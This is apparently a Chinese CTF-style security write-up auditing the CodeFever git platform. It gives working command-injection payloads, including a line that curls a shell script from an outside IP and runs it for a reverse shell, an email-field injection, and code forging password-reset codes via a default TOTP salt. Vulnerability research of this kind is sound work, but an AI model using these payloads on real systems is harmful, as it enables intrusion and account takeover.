终于忙完项目了,没啥事,继续拿以前没做出来的题审计,还是tcl,得加强代码审计能力

环境搭建

先下载个源码,直接选择最新版本:git clone https://github.com/PGYER/codefever.git
参考官方文档,就直接用 docker 搭建,一行命令搞定

1
2
3
4
5
6
7
8
9
docker container run \
-d --privileged=true --name codefever \
-p 8081:80 -p 22:22 \
-v ~/config/db:/var/lib/mysql \
-v ~/config/env:/data/www/codefever-community/env \
-v ~/config/logs:/data/www/codefever-community/application/logs \
-v ~/config/git-storage:/data/www/codefever-community/git-storage \
-v ~/config/file-storage:/data/www/codefever-community/file-storage \
-it pgyer/codefever-community

修改一下web端口,访问即可

默认管理员用户: root@codefever.cn, 密码: 123456

审计前可以看看issues,https://github.com/PGYER/codefever/issues

代码审计

先看看框架,主要就是 application 目录下的文件

看到application/libraries/service/Network/Request.php
所以在请求的时候一定得加上header头:Accept: application/json

接着看到application/libraries/api_controller.php,发现是使用的CodeIgniter即CI框架

这里的_remap方法就是 controllers 的访问方法,即/user/login就是调用application/controllers/user.php类的 login 方法
同样也写了 api 的访问方法

即 get 传入/api/user/info就是调用application/controllers/api/user.php类的 info_get 方法

后台命令执行

前提是 config.template.yaml 文件中的 allowRegister 为 true ,我们可以注册账号

看到application/controllers/api/user.php

注册成功后访问/api/user/info,可以拿到用户信息

这里的 id 就是 u_key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function normalize(array $list, bool $extra = FALSE)
{
$result = [];

foreach ($list as $item) {
array_push($result, [
'id' => $item['u_key'],
'icon' => $item['u_avatar'],
'name' => $item['u_name'],
'email' => $item['u_email'],
'phoneCode' => $item['u_calling_code'],
'phoneNumber' => $item['u_tel'],
'team' => $item['u_team'],
'role' => $item['u_role'],
'notification' => (int) $item['u_notification_status'],
'mfaEnabled' => $item['u_2fa'] ? TRUE : FALSE,
'admin' => $item['u_admin'] ? TRUE : FALSE,
'emails' => $this->getCommitEmails($item, !$extra),
'unReadNotification' => $extra ? $this->notificationModel->unReadNotificationCount($item['u_key']) : 0,
'status' => $item['u_status'] == COMMON_STATUS_NORMAL,
'host' => YAML_HOST,
'ssh' => YAML_SSH,
]);
}
return $result;
}

同理我们可以创建一个仓库,/api/repository/list拿到 r_key

全局查找命令执行函数,可以看到application/libraries/service/Utility/Command.php

$command数组使用空格连接,然后执行命令

可以使用idea查找用法,找到所有命令执行的点进行分析

blameInfo_get

看到application/controllers/api/repository.php的 blameInfo_get 方法

get传参,$revision、$filepath的值可控,然后调用了getBlameInfo方法,跟进application/models/repository_model.php

使用Command::wrapArgument进行过滤,然后带入到Command::run命令执行,看看过滤的代码

可以看到循环进行正则匹配,直到$result === $argument

1
2
3
4
5
6
\s 匹配空白符(等价于[\r\n\t\f\v ])
\` 按字面匹配 字符 `,(区分大小写)
\' 按字面匹配 字符 ',(区分大小写)
\" 按字面匹配 字符 ",(区分大小写)
\$ 按字面匹配 字符 $,(区分大小写)
\| 按字面匹配 字符 |,(区分大小写)

可以注意到竟然没有过滤;,导致rce

利用的话由于我们的用户是git,没有写的权限,可以wget下载反弹shell文件,然后sh执行

1
2
&revision=;curl&path=http://192.168.111.1:8000/shell.sh>/tmp/1
&revision=;sh&path=/tmp/1

成功反弹shell rce

config_get

在github上看到一个已修复的命令执行:https://github.com/PGYER/codefever/issues/136

修复方法就是使用Command::wrapArgument过滤,但这根本是治标不治本!

看到application/models/repository_model.php的execCommand方法,也就是漏洞修复的地方

这里将$email$name拼接到命令执行的代码中,然后执行Command::batch,return 命令执行的结果

找一下$commandType为 GIT_COMMAND_QUERY ,然后存在返回值的方法

看到application/controllers/api/repository.php的 config_get 方法

将结果输出,并且看到其中的 getTagList 方法

正则匹配任意字符并返回,所以回显成立

简单验证一下,由于前端 js 进行了校验,所以在修改个人信息处抓包

在邮箱最后面添加;{pwd,},随后带着 rKey 访问/api/repository/config

成功命令执行并看到返回结果,分析可以发现不止这一个点存在漏洞,就不多说了

邮箱验证默认密钥

还修复了一个邮箱验证码的问题:https://github.com/PGYER/codefever/issues/135

但是如果使用的docker搭建,没有特定修改过的话,那么 salt 就是默认值

1
2
3
# totp settings (for verification code generating)
totp:
salt: <totp_salt_for_codefever>

漏洞主要看到application/controllers/user.php的 getResetPasswordCode 方法

使用的TOTP::generate生成的验证码,看到application/libraries/service/Utility/TOTP.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
// this function use to generated uuid
namespace service\Utility;

class TOTP {

const SALT = 'codefever_salt';
const TOTP_REFRESH_INTERVAL = 30;
const TOTP_CHECK_WINDOW_MIN = -10;
const TOTP_CHECK_WINDOW_MAX = 10;
const PASSWORD_LENGTH = 6;

static private function hashInput (string $input) {
$salt = self::SALT;
if (TOTP_SALT) {
$salt = TOTP_SALT;
}

$input = $input ? $input : self::SALT;

return hash('sha256', md5($input) . md5($salt), FALSE);
}

static private function genTotp (string $hashedInput, int $timestamp) {
$sequence = floor($timestamp / 30);
$code = hash_hmac('sha256', $hashedInput . md5($sequence), md5($sequence), TRUE);

$finalValue = 0;
$index = 0;

do {
$finalValue += ord($code[$index]);
$finalValue = $finalValue << 2;
$index++;
} while (isset($code[$index]));

return $finalValue;
}

static private function trimTotp (int $sourceTotp) {
$trimedTotp = $sourceTotp % pow(10, self::PASSWORD_LENGTH);
$format = "%'.0". self::PASSWORD_LENGTH ."u";
return sprintf($format, abs($trimedTotp));
}


static function generate(string $input) {
return self::trimTotp(self::genTotp(self::hashInput($input), time()));
}

static function check(string $input, string $code) {
$hashedInput = self::hashInput($input);
$currentTime = time();
for (
$windowIndex = self::TOTP_CHECK_WINDOW_MIN;
$windowIndex <= self::TOTP_CHECK_WINDOW_MAX;
$windowIndex++
) {
if (
$code === self::trimTotp(
self::genTotp(
$hashedInput,
$currentTime + ($windowIndex * self::TOTP_REFRESH_INTERVAL)
)
)
) {
return TRUE;
}
}

return FALSE;
}
}

发现 salt 是一个指定的固定值,并且存在一个前后300秒的误差

我们设置成默认的 salt 值,然后执行

1
2
$email = 'root@codefever.cn';
echo TOTP::generate($email);

就可以用得到的验证码重置任意账号的密码了

参考:
西湖论剑 初赛 writeup by or4nge
2023西湖论剑web-writeup题解wp